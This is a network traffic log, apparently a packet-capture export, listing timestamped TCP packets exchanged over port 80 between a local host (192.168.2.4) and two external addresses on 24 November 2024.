Nov 24, 2024 14:24:34.368479967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.368480921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.368506908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.368534088 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.369519949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.369570017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.369796038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.369837046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.370948076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.370990992 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.371094942 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.371136904 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.371973991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.372020006 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.372126102 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.372174025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.373167038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.373178005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.373215914 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.374310017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.374320984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.374352932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.375463963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.375474930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.375514030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.376646996 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.376657963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.376708031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.377583981 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.377595901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.377638102 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.378968000 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.378978968 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.379010916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.380116940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.380160093 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.380263090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.380315065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.381283045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.381326914 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.381458044 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.381504059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.382421017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.382466078 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.382589102 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.382632971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.383524895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.383568048 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.383704901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.383750916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.384644985 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.384687901 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.384838104 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.384882927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.385803938 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.385848999 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.391169071 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.391333103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.391401052 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.412909031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.412980080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.413036108 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.488591909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.488652945 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.488703012 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.519366026 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.519458055 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.519500017 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.520282984 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.520351887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.520390987 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.521738052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.525871992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.525907993 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.525923014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.525943041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.526456118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.526504993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.526559114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.526604891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.527606964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.527656078 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.527724981 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.527767897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.528768063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.528812885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.528844118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.528889894 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.529958963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.530014038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.530071974 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.530116081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.531287909 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.531346083 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.531419992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.531466007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.532260895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.532309055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.532363892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.532421112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.533418894 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.533467054 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.533545017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.533588886 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.534567118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.534615993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.534646988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.534692049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.535732031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.535780907 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.535810947 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.535856009 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.536880970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.536926985 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.536984921 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.537029028 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.538028002 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.538074970 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.538088083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.538142920 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.540569067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.540616035 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.540621042 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.594208956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.625659943 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.625699043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.625740051 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.626472950 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.626578093 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.626611948 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.628386974 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.667356968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.667416096 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.667495012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.668221951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.668271065 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.711236954 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.711471081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.711524963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.712205887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.712508917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.712552071 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.712562084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.732486963 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.732506037 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.732543945 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.769546032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.769603014 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.769814014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.770441055 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.770484924 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.796545029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.796653986 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.796704054 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.797461033 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.817481995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.817537069 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.817631960 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.839277029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.839310884 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.839322090 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.840168953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.840207100 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.903332949 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.903435946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.903476000 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.232841969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.232906103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.233028889 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.279576063 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.279736042 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.280404091 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.280464888 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.280754089 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.280834913 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.280899048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.282830954 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.285062075 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.317270994 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.317364931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.317478895 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.318177938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.318275928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.321170092 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.381633997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.381724119 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.381795883 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.382674932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.393656015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.393773079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.393949032 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.394701958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.394798040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.394808054 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.424866915 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.424953938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.425035954 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.471498966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.471544027 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.471596956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.479413033 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.479531050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.479602098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.480290890 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.480633020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.480734110 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.480740070 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.482534885 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.482614994 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.564630032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.564702988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.564819098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.565556049 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.565665960 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.565754890 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.585623980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.585712910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.585777998 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.607542038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.607650042 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.607741117 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.608428955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.650032043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.650136948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.650398970 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.650974989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.651042938 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.671286106 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.671364069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.671438932 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.756642103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.756659031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.756762981 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.778074026 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.778197050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.778261900 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.779026985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.779110909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.781100988 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.842401981 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.842437029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.842689991 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.880254984 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.880374908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.880428076 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.881148100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.923024893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.948494911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.948714018 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.948788881 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.949683905 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.949762106 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.949817896 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.950894117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.970019102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.970141888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.970221043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.992721081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.992786884 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.992805958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.993186951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.993258953 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:35.993284941 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.995148897 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:35.995213032 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.034137011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.034162045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.034220934 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.035455942 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.035564899 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.035697937 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.036525965 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.036588907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.036643982 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.072513103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.072606087 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.072678089 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.077847958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.077929974 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.077991009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.078778982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.078860998 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.078952074 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.120373964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.120467901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.120568037 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.121318102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.121447086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.121512890 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.123233080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.140516043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.140575886 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.140594006 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.163301945 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.163387060 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.163410902 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.164210081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.164300919 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.164315939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.166117907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.166186094 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.166222095 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.168162107 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.168277979 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.184940100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.212532997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.212650061 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.212657928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.213042021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.213109970 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.213187933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.215032101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.215110064 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.215142012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.216893911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.217032909 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.258127928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.258372068 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.258441925 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.259048939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.259191036 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.259308100 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.260518074 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.260581970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.260669947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.262518883 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.262619972 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.262660027 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.270024061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.270101070 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.270180941 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.292268991 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.292363882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.292459965 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.293132067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.332509041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.332523108 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.332559109 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.355129004 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.355178118 CET	49808	80	192.168.2.4	34.116.198.130
